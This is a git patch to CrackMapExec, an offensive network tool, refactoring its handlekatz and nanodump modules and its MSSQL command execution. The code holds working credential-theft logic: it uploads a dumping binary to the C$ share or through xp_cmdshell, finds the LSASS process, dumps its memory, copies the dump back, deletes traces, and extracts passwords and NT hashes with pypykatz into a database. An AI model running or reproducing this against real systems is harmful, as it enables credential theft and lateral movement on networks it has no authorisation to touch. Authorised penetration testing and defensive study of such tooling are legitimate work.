From 12607511944c8f360cea3e8d270a3d6d5a515ac1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 30 Apr 2023 17:24:18 -0400 Subject: [PATCH] fix(mssql): change how mssql returns results, bypassing impacket/tds jank logging and fix handlekatz/nanodump modules --- cme/modules/handlekatz.py | 121 +++++++++++-------- cme/modules/nanodump.py | 198 ++++++++++++++++++------------- cme/protocols/mssql.py | 160 +++++++++++++------------ cme/protocols/mssql/mssqlexec.py | 43 ++++--- 4 files changed, 294 insertions(+), 228 deletions(-) diff --git a/cme/modules/handlekatz.py b/cme/modules/handlekatz.py index affb1562..19909838 100644 --- a/cme/modules/handlekatz.py +++ b/cme/modules/handlekatz.py @@ -9,13 +9,15 @@ import base64 import re import sys +from cme.helpers.bloodhound import add_user_bh + class CMEModule: - name = 'handlekatz' + name = "handlekatz" description = "Get lsass dump using handlekatz64 and parse the result with pypykatz" - supported_protocols = ['smb'] - opsec_safe = True # not really + supported_protocols = ["smb"] + opsec_safe = False multiple_hosts = True def options(self, context, module_options): @@ -35,79 +37,92 @@ class CMEModule: self.dir_result = self.handlekatz_path self.useembeded = True - if 'HANDLEKATZ_PATH' in module_options: - self.handlekatz_path = module_options['HANDLEKATZ_PATH'] + if "HANDLEKATZ_PATH" in module_options: + self.handlekatz_path = module_options["HANDLEKATZ_PATH"] self.useembeded = False - if 'HANDLEKATZ_EXE_NAME' in module_options: - self.handlekatz = module_options['HANDLEKATZ_EXE_NAME'] - self.useembeded = False + if "HANDLEKATZ_EXE_NAME" in module_options: + self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"] - if 'TMP_DIR' in module_options: - self.tmp_dir = module_options['TMP_DIR'] + if "TMP_DIR" in module_options: + self.tmp_dir = module_options["TMP_DIR"] - if 'DIR_RESULT' in module_options: - self.dir_result = module_options['DIR_RESULT'] + if "DIR_RESULT" in module_options: + self.dir_result = module_options["DIR_RESULT"] def on_admin_login(self, context, connection): - if self.useembeded == True: - with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz: + if self.useembeded: + with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz: handlekatz.write(self.handlekatz_embeded) - context.log.display('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir)) - with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz: + context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}") + with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz: try: connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read) - context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share)) + context.log.success( + f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}" + ) except Exception as e: - context.log.fail('Error writing file to share {}: {}'.format(share, e)) - - # get pid lsass - command = 'tasklist /v /fo csv | findstr /i "lsass"' - context.log.display('Getting lsass PID {}'.format(command)) + context.log.fail(f"Error writing file to share {self.share}: {e}") + + # get LSASS PID via `tasklist` + command = "tasklist /v /fo csv | findstr /i \"lsass\"" + context.log.display(f"Getting lsass PID via command {command}") p = connection.execute(command, True) + context.log.debug(f"Command Result: {p}") + if len(p) == 1: + p = p[0] + + if not p or p == "None": + context.log.fail(f"Failed to execute command to get LSASS PID") + return + # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(',')[1][1:-1] - command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log' - context.log.display('Executing command {}'.format(command)) + context.log.debug(f"pid: {pid}") + + command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" + context.log.display(f"Executing command {command}") + p = connection.execute(command, True) - context.log.debug(p) - dump = False - if 'Lsass dump is complete' in p: - context.log.success('Process lsass.exe was successfully dumped') + context.log.debug(f"Command result: {p}") + + if "Lsass dump is complete" in p: + context.log.success("Process lsass.exe was successfully dumped") dump = True else: - context.log.fail('Process lsass.exe error un dump, try with verbose') - + context.log.fail("Process lsass.exe error un dump, try with verbose") + dump = False + if dump: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) - machine_name = '' - if matches: - machine_name = matches.group() - else: + if not matches: context.log.display("Error getting the lsass.dmp file name") sys.exit(1) - context.log.display('Copy {} to host'.format(machine_name)) + machine_name = matches.group() + context.log.display(f"Copy {machine_name} to host") with open(self.dir_result + machine_name, 'wb+') as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) - context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name)) + context.log.success( + f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}" + ) except Exception as e: - context.log.fail('Error while get file: {}'.format(e)) + context.log.fail(f"Error while get file: {e}") try: connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success('Deleted handlekatz file on the {} share'.format(self.share)) + context.log.success(f"Deleted handlekatz file on the {self.share} share") except Exception as e: - context.log.fail('Error deleting handlekatz file on share {}: {}'.format(self.share, e)) + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) - context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share)) + context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: - context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e)) + context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") h_in = open(self.dir_result + machine_name, "rb") h_out = open(self.dir_result + machine_name + ".decode", "wb") @@ -115,27 +130,33 @@ class CMEModule: bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) - context.log.display("Deobfuscating, this might take a while") + context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") - chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)] + chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)] for chunk in chunks: for i in range(0, len(chunk)): chunk[i] ^= 0x41 h_out.write(bytes(chunk)) - with open(self.dir_result + machine_name + ".decode", 'rb') as dump: + with open(self.dir_result + machine_name + ".decode", "rb") as dump: try: - credentials = [] credz_bh = [] try: pypy_parse = pypykatz.parse_minidump_external(dump) except Exception as e: pypy_parse = None - context.log.fail(f'Error parsing minidump: {e}') + context.log.fail(f"Error parsing minidump: {e}") - ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', - 'tspkg_creds'] + ssps = [ + "msv_creds", + "wdigest_creds", + "ssp_creds", + "livessp_creds", + "kerberos_creds", + "credman_creds", + "tspkg_creds" + ] for luid in pypy_parse.logon_sessions: for ssp in ssps: for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): @@ -150,8 +171,8 @@ class CMEModule: context.log.highlight(domain + "\\" + username + ":" + print_pass) if "." not in domain and domain.upper() in connection.domain.upper(): domain = connection.domain - credz_bh.append({'username': username.upper(), 'domain': domain.upper()}) + credz_bh.append({"username": username.upper(), "domain": domain.upper()}) if len(credz_bh) > 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: - context.log.fail('Error opening dump file', str(e)) + context.log.fail("Error opening dump file", str(e)) diff --git a/cme/modules/nanodump.py b/cme/modules/nanodump.py index e9ab8f6b..05564daf 100644 --- a/cme/modules/nanodump.py +++ b/cme/modules/nanodump.py @@ -21,6 +21,7 @@ class CMEModule: multiple_hosts = True def __init__(self, context=None, module_options=None): + self.connection = None self.dir_result = None self.tmp_dir = None self.useembeded = None @@ -39,7 +40,7 @@ class CMEModule: NANO_EXE_NAME Name of the nano executable (default: nano.exe) DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH) """ - + self.context = context self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] @@ -49,12 +50,12 @@ class CMEModule: self.nano_path = "" self.useembeded = True - if 'NANO_PATH' in module_options: - self.nano_path = module_options['NANO_PATH'] + if "NANO_PATH" in module_options: + self.nano_path = module_options["NANO_PATH"] self.useembeded = False else: if sys.platform == "win32": - appdata_path = os.getenv('APPDATA') + appdata_path = os.getenv("APPDATA") if not os.path.exists(appdata_path + "\CME"): os.mkdir(appdata_path + "\CME") self.nano_path = appdata_path + "\CME\\" @@ -65,111 +66,133 @@ class CMEModule: self.dir_result = self.nano_path - if 'NANO_EXE_NAME' in module_options: - self.nano = module_options['NANO_EXE_NAME'] + if "NANO_EXE_NAME" in module_options: + self.nano = module_options["NANO_EXE_NAME"] self.useembeded = False - if 'TMP_DIR' in module_options: - self.tmp_dir = module_options['TMP_DIR'] + if "TMP_DIR" in module_options: + self.tmp_dir = module_options["TMP_DIR"] - if 'DIR_RESULT' in module_options: - self.dir_result = module_options['DIR_RESULT'] + if "DIR_RESULT" in module_options: + self.dir_result = module_options["DIR_RESULT"] def on_admin_login(self, context, connection): + self.connection = connection + self.context = context if self.useembeded: - with open(self.nano_path + self.nano, 'wb') as nano: - if connection.os_arch == 32 and context.protocol == 'smb': - context.log.display("32-bit Windows detected.") + with open(self.nano_path + self.nano, "wb") as nano: + if self.connection.os_arch == 32 and self.context.protocol == "smb": + self.context.log.display("32-bit Windows detected.") nano.write(self.nano_embedded32) - elif connection.os_arch == 64 and context.protocol == 'smb': - context.log.display("64-bit Windows detected.") + elif self.connection.os_arch == 64 and self.context.protocol == "smb": + self.context.log.display("64-bit Windows detected.") nano.write(self.nano_embedded64) - elif context.protocol == 'mssql': + elif self.context.protocol == "mssql": nano.write(self.nano_embedded64) else: - context.log.fail('Unsupported Windows architecture') + self.context.log.fail("Unsupported Windows architecture") sys.exit(1) - if context.protocol == 'smb': - with open(self.nano_path + self.nano, 'rb') as nano: + if self.context.protocol == "smb": + with open(self.nano_path + self.nano, "rb") as nano: try: - connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read) - context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}") + self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read) + self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}") except Exception as e: - context.log.fail(f"Error writing file to share {self.share}: {e}") + self.context.log.fail(f"Error writing file to share {self.share}: {e}") else: - with open(self.nano_path + self.nano, 'rb') as nano: + with open(self.nano_path + self.nano, "rb") as nano: try: - context.log.display(f"Copy {self.nano} to {self.tmp_dir}") - exec_method = MSSQLEXEC(connection.conn) + self.context.log.display(f"Copy {self.nano} to {self.tmp_dir}") + exec_method = MSSQLEXEC(self.connection.conn) exec_method.put_file(nano.read(), self.tmp_dir + self.nano) if exec_method.file_exists(self.tmp_dir + self.nano): - context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}") + self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}") else: - context.log.fail("File does not exist on the remote system... error during upload") + self.context.log.fail("File does not exist on the remote system... error during upload") sys.exit(1) except Exception as e: - context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}") - - # get pid lsass - command = 'tasklist /v /fo csv | findstr /i "lsass"' - context.log.display(f"Getting lsass PID {command}") - p = connection.execute(command, True) - pid = p.split(',')[1][1:-1] - timestamp = datetime.today().strftime('%Y%m%d_%H%M') + self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}") + + # apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display()) + # if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the + # execution fails, which it doesn't + display_output = True if self.context.protocol == "smb" else False + self.context.log.debug(f"Display Output: {display_output}") + # get LSASS PID via `tasklist` + command = "tasklist /v /fo csv | findstr /i \"lsass\"" + self.context.log.display(f"Getting LSASS PID via command {command}") + p = self.connection.execute(command, display_output) + self.context.log.debug(f"tasklist Command Result: {p}") + if len(p) == 1: + p = p[0] + + if not p or p == "None": + self.context.log.fail(f"Failed to execute command to get LSASS PID") + return + + pid = p.split(",")[1][1:-1] + self.context.log.debug(f"pid: {pid}") + timestamp = datetime.today().strftime("%Y%m%d_%H%M") nano_log_name = f"{timestamp}.log" command = f"{self.tmp_dir}{self.nano} --pid {pid} --write {self.tmp_dir}{nano_log_name}" - context.log.display(f"Executing command {command}") - p = connection.execute(command, True) - context.log.debug(p) - dump = False - if 'Done' in p: - context.log.success('Process lsass.exe was successfully dumped') + self.context.log.display(f"Executing command {command}") + + p = self.connection.execute(command, display_output) + self.context.log.debug(f"NanoDump Command Result: {p}") + + if not p or p == "None": + self.context.log.fail(f"Failed to execute command to execute NanoDump") + self.delete_nanodump_binary() + return + + # results returned are different between SMB and MSSQL + full_results = " ".join(p) if self.context.protocol == "mssql" else p + + if "Done" in full_results: + self.context.log.success("Process lsass.exe was successfully dumped") dump = True else: - context.log.fail('Process lsass.exe error on dump, try with verbose') - + self.context.log.fail("Process lsass.exe error on dump, try with verbose") + dump = False + if dump: - context.log.display(f"Copying {nano_log_name} to host") - filename = f"{self.dir_result}{connection.hostname}_{connection.os_arch}_{connection.domain}.log" - if context.protocol == 'smb': - with open(filename, 'wb+') as dump_file: + self.context.log.display(f"Copying {nano_log_name} to host") + filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log" + if self.context.protocol == "smb": + with open(filename, "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write) - context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") + self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write) + self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: - context.log.fail(f"Error while getting file: {e}") + self.context.log.fail(f"Error while getting file: {e}") try: - connection.conn.deleteFile(self.share, self.tmp_share + self.nano) - context.log.success(f"Deleted nano file on the {self.share} share") + self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano) + self.context.log.success(f"Deleted nano file on the {self.share} share") except Exception as e: - context.log.fail(f"Error deleting nano file on share {self.share}: {e}") + self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}") try: - connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name) - context.log.success(f"Deleted lsass.dmp file on the {self.share} share") + self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name) + self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: - context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") + self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") else: try: - exec_method = MSSQLEXEC(connection.conn) + exec_method = MSSQLEXEC(self.connection.conn) exec_method.get_file(self.tmp_dir + nano_log_name, filename) - context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") + self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: - context.log.fail(f"Error while getting file: {e}") + self.context.log.fail(f"Error while getting file: {e}") + + self.delete_nanodump_binary() try: - connection.execute(f"del {self.tmp_dir + self.nano}") - context.log.success(f"Deleted nano file on the {self.share} dir") + self.connection.execute(f"del {self.tmp_dir + nano_log_name}") + self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir") except Exception as e: - context.log.fail(f"Error deleting nano file on dir {self.tmp_dir}: {e}") - - try: - connection.execute(f"del {self.tmp_dir + nano_log_name}") - context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir") - except Exception as e: - context.log.fail(f"Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}") + self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}") fh = open(filename, "r+b") fh.seek(0) @@ -187,16 +210,16 @@ class CMEModule: pypy_parse = pypykatz.parse_minidump_external(dump) except Exception as e: pypy_parse = None - context.log.fail(f'Error parsing minidump: {e}') + self.context.log.fail(f"Error parsing minidump: {e}") ssps = [ - 'msv_creds', - 'wdigest_creds', - 'ssp_creds', - 'livessp_creds', - 'kerberos_creds', - 'credman_creds', - 'tspkg_creds' + "msv_creds", + "wdigest_creds", + "ssp_creds", + "livessp_creds", + "kerberos_creds", + "credman_creds", + "tspkg_creds" ] for luid in pypy_parse.logon_sessions: @@ -215,19 +238,26 @@ class CMEModule: else: credtype = "hash" credential = NThash - context.log.highlight(f"{domain}\\{username}:{credential}") - host_id = context.db.get_hosts(connection.host)[0][0] - context.db.add_credential( + self.context.log.highlight(f"{domain}\\{username}:{credential}") + host_id = self.context.db.get_hosts(self.connection.host)[0][0] + self.context.db.add_credential( credtype, connection.domain, username, credential, pillaged_from=host_id ) - if "." not in domain and domain.upper() in connection.domain.upper(): - domain = connection.domain - bh_creds.append({'username': username.upper(), 'domain': domain.upper()}) + if "." not in domain and domain.upper() in self.connection.domain.upper(): + domain = self.connection.domain + bh_creds.append({"username": username.upper(), "domain": domain.upper()}) if len(bh_creds) > 0: - add_user_bh(bh_creds, None, context.log, connection.config) + add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: - context.log.fail(f"Error opening dump file: {e}") + self.context.log.fail(f"Error opening dump file: {e}") + + def delete_nanodump_binary(self): + try: + self.connection.execute(f"del {self.tmp_dir + self.nano}") + self.context.log.success(f"Deleted nano file on the {self.share} dir") + except Exception as e: + self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}") diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py index 25775a1c..f49b71a6 100755 --- a/cme/protocols/mssql.py +++ b/cme/protocols/mssql.py @@ -63,7 +63,7 @@ class mssql(connection): self.enum_host_info() self.print_host_info() self.login() - if hasattr(self.args, 'module') and self.args.module: + if hasattr(self.args, "module") and self.args.module: self.call_modules() else: self.call_cmd_args() @@ -71,10 +71,10 @@ class mssql(connection): def proto_logger(self): self.logger = CMEAdapter( extra={ - 'protocol': 'MSSQL', - 'host': self.host, - 'port': self.args.port, - 'hostname': 'None' + "protocol": "MSSQL", + "host": self.host, + "port": self.args.port, + "hostname": "None" } ) @@ -82,7 +82,7 @@ class mssql(connection): # this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363 try: # Probably a better way of doing this, grab our IP from the socket - self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0] + self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0] except: pass @@ -92,7 +92,7 @@ class mssql(connection): try: smb_conn = SMBConnection(self.host, self.host, None) try: - smb_conn.login('', '') + smb_conn.login("", "") except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): pass @@ -100,7 +100,7 @@ class mssql(connection): self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() - self.logger.extra['hostname'] = self.hostname + self.logger.extra["hostname"] = self.hostname try: smb_conn.logoff() @@ -136,7 +136,7 @@ class mssql(connection): def create_conn_obj(self): try: - self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger) + self.conn = tds.MSSQL(self.host, self.args.port) self.conn.connect() except socket.error: return False @@ -147,19 +147,18 @@ class mssql(connection): try: results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')") is_admin = int(results[0][""]) - - if is_admin: - self.admin_privs = True - self.logger.debug(f"User is admin") - else: - return False except Exception as e: - self.logger.fail(f"Error calling check_if_admin(): {e}") + self.logger.fail(f"Error querying for sysadmin role: {e}") return False + if is_admin: + self.admin_privs = True + self.logger.debug(f"User is admin") + else: + return False return True - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: self.conn.disconnect() except: @@ -167,15 +166,15 @@ class mssql(connection): self.create_conn_obj() logging.getLogger("impacket").disabled = True - nthash = '' + nthash = "" hashes = None - if ntlm_hash != '': - if ntlm_hash.find(':') != -1: + if ntlm_hash != "": + if ntlm_hash.find(":") != -1: hashes = ntlm_hash - nthash = ntlm_hash.split(':')[1] + nthash = ntlm_hash.split(":")[1] else: # only nt hash - hashes = ':%s' % ntlm_hash + hashes = f":{ntlm_hash}" nthash = ntlm_hash if not all('' == s for s in [self.nthash, password, aesKey]): @@ -190,7 +189,7 @@ class mssql(connection): self.password = password if username == '' and useCache: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) principal = ccache.principal.toPrincipal() self.username = principal.components[0] username = principal.components[0] @@ -285,9 +284,9 @@ class mssql(connection): res = self.conn.login( None, username, - '', + "", domain, - ':' + nthash if not lmhash else ntlm_hash, + ":" + nthash if not lmhash else ntlm_hash, not self.args.local_auth ) if res is not True: @@ -298,10 +297,10 @@ class mssql(connection): self.username = username self.domain = domain self.check_if_admin() - self.db.add_credential('hash', domain, username, ntlm_hash) + self.db.add_credential("hash", domain, username, ntlm_hash) if self.admin_privs: - self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) + self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host) out = u"{}\\{} {} {}".format( domain, @@ -323,7 +322,8 @@ class mssql(connection): return False def mssql_query(self): - self.conn.sql_query(self.args.mssql_query) + result = self.conn.sql_query(self.args.mssql_query) + self.logger.debug(f"Result: {result}") self.conn.printRows() for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines(): if line.strip() != '': @@ -334,27 +334,31 @@ class mssql(connection): def execute(self, payload=None, get_output=False, methods=None): if not payload and self.args.execute: payload = self.args.execute - if not self.args.no_output: get_output = True + if not self.args.no_output: + get_output = True self.logger.info(f"Command to execute:\n{payload}") - exec_method = MSSQLEXEC(self.conn) - raw_output = exec_method.execute(payload, get_output) + try: + exec_method = MSSQLEXEC(self.conn) + raw_output = exec_method.execute(payload, get_output) + except Exception as e: + self.logger.exception(e) + return None + self.logger.info("Executed command via mssqlexec") if hasattr(self, "server"): self.server.track_host(self.host) - output = f"{raw_output}" - if self.args.execute or self.args.ps_execute: - #self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) + # self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) self.logger.success("Executed command via mssqlexec") - buf = StringIO(output).readlines() + buf = StringIO(raw_output).readlines() for line in buf: - if line.strip() != '': + if line.strip() != "": self.logger.highlight(line.strip()) - return output + return raw_output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True): @@ -362,7 +366,7 @@ class mssql(connection): payload = self.args.ps_execute if not self.args.no_output: get_output = True - # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue) + # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs) return self.execute(ps_command, get_output) @@ -392,49 +396,47 @@ class mssql(connection): except Exception as e: self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}") + # We hook these functions in the tds library to use CME's logger instead of printing the output to stdout + # The whole tds library in impacket needs a good overhaul to preserve my sanity + def printRepliesCME(self): + for keys in self.replies.keys(): + for i, key in enumerate(self.replies[keys]): + if key["TokenType"] == TDS_ERROR_TOKEN: + error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" + self.lastError = SQLErrorException( + f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" + ) + self._MSSQL__rowsPrinter.error(error) -# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout -# The whole tds library in impacket needs a good overhaul to preserve my sanity -def printRepliesCME(self): - for keys in self.replies.keys(): - for i, key in enumerate(self.replies[keys]): - if key["TokenType"] == TDS_ERROR_TOKEN: - error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - self.lastError = SQLErrorException( - f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) - self._MSSQL__rowsPrinter.error(error) - - elif key["TokenType"] == TDS_INFO_TOKEN: - self._MSSQL__rowsPrinter.info( - f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) - - elif key["TokenType"] == TDS_LOGINACK_TOKEN: - self._MSSQL__rowsPrinter.info( - f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) " - ) - - elif key["TokenType"] == TDS_ENVCHANGE_TOKEN: - if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): - record = TDS_ENVCHANGE_VARCHAR(key["Data"]) - if record["OldValue"] == "": - record["OldValue"] = "None".encode('utf-16le') - elif record["NewValue"] == '': - record["NewValue"] = "None".encode('utf-16le') - if key["Type"] == TDS_ENVCHANGE_DATABASE: - _type = "DATABASE" - elif key["Type"] == TDS_ENVCHANGE_LANGUAGE: - _type = "LANGUAGE" - elif key["Type"] == TDS_ENVCHANGE_CHARSET: - _type = "CHARSET" - elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE: - _type = "PACKETSIZE" - else: - _type = f"{key['Type']:d}" + elif key["TokenType"] == TDS_INFO_TOKEN: self._MSSQL__rowsPrinter.info( - f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}" + f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" ) + elif key["TokenType"] == TDS_LOGINACK_TOKEN: + self._MSSQL__rowsPrinter.info( + f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) " + ) -tds.MSSQL.printReplies = printRepliesCME + elif key["TokenType"] == TDS_ENVCHANGE_TOKEN: + if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): + record = TDS_ENVCHANGE_VARCHAR(key["Data"]) + if record["OldValue"] == "": + record["OldValue"] = "None".encode('utf-16le') + elif record["NewValue"] == '': + record["NewValue"] = "None".encode('utf-16le') + if key["Type"] == TDS_ENVCHANGE_DATABASE: + _type = "DATABASE" + elif key["Type"] == TDS_ENVCHANGE_LANGUAGE: + _type = "LANGUAGE" + elif key["Type"] == TDS_ENVCHANGE_CHARSET: + _type = "CHARSET" + elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE: + _type = "PACKETSIZE" + else: + _type = f"{key['Type']:d}" + self._MSSQL__rowsPrinter.info( + f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}" + ) + + tds.MSSQL.printReplies = printRepliesCME diff --git a/cme/protocols/mssql/mssqlexec.py b/cme/protocols/mssql/mssqlexec.py index 3ece9442..31828749 100755 --- a/cme/protocols/mssql/mssqlexec.py +++ b/cme/protocols/mssql/mssqlexec.py @@ -8,26 +8,39 @@ from cme.logger import cme_logger class MSSQLEXEC: def __init__(self, connection): self.mssql_conn = connection - self.outputBuffer = '' + self.outputBuffer = "" def execute(self, command, output=False): + command_output = [] try: self.enable_xp_cmdshell() - self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'") - - if output: - self.mssql_conn.printReplies() - self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2 - self.mssql_conn.printRows() - self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage() - if len(self.outputBuffer): - self.outputBuffer = self.outputBuffer.split('\n', 2)[2] - - self.disable_xp_cmdshell() - return self.outputBuffer - except Exception as e: - cme_logger.debug(f"Error executing command via mssqlexec: {e}") + cme_logger.error(f"Error when attempting to enable x_cmdshell: {e}") + try: + result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'") + cme_logger.debug(f"SQL Query Result: {result}") + for row in result: + if row["output"] == "NULL": + continue + command_output.append(row["output"]) + except Exception as e: + cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") + + if output: + for row in command_output: + cme_logger.display(row) + # self.mssql_conn.printReplies() + # self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2 + # self.mssql_conn.printRows() + # self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage() + # if len(self.outputBuffer): + # self.outputBuffer = self.outputBuffer.split('\n', 2)[2] + try: + self.disable_xp_cmdshell() + except Exception as e: + cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") + return command_output + # return self.outputBuffer def enable_xp_cmdshell(self): self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")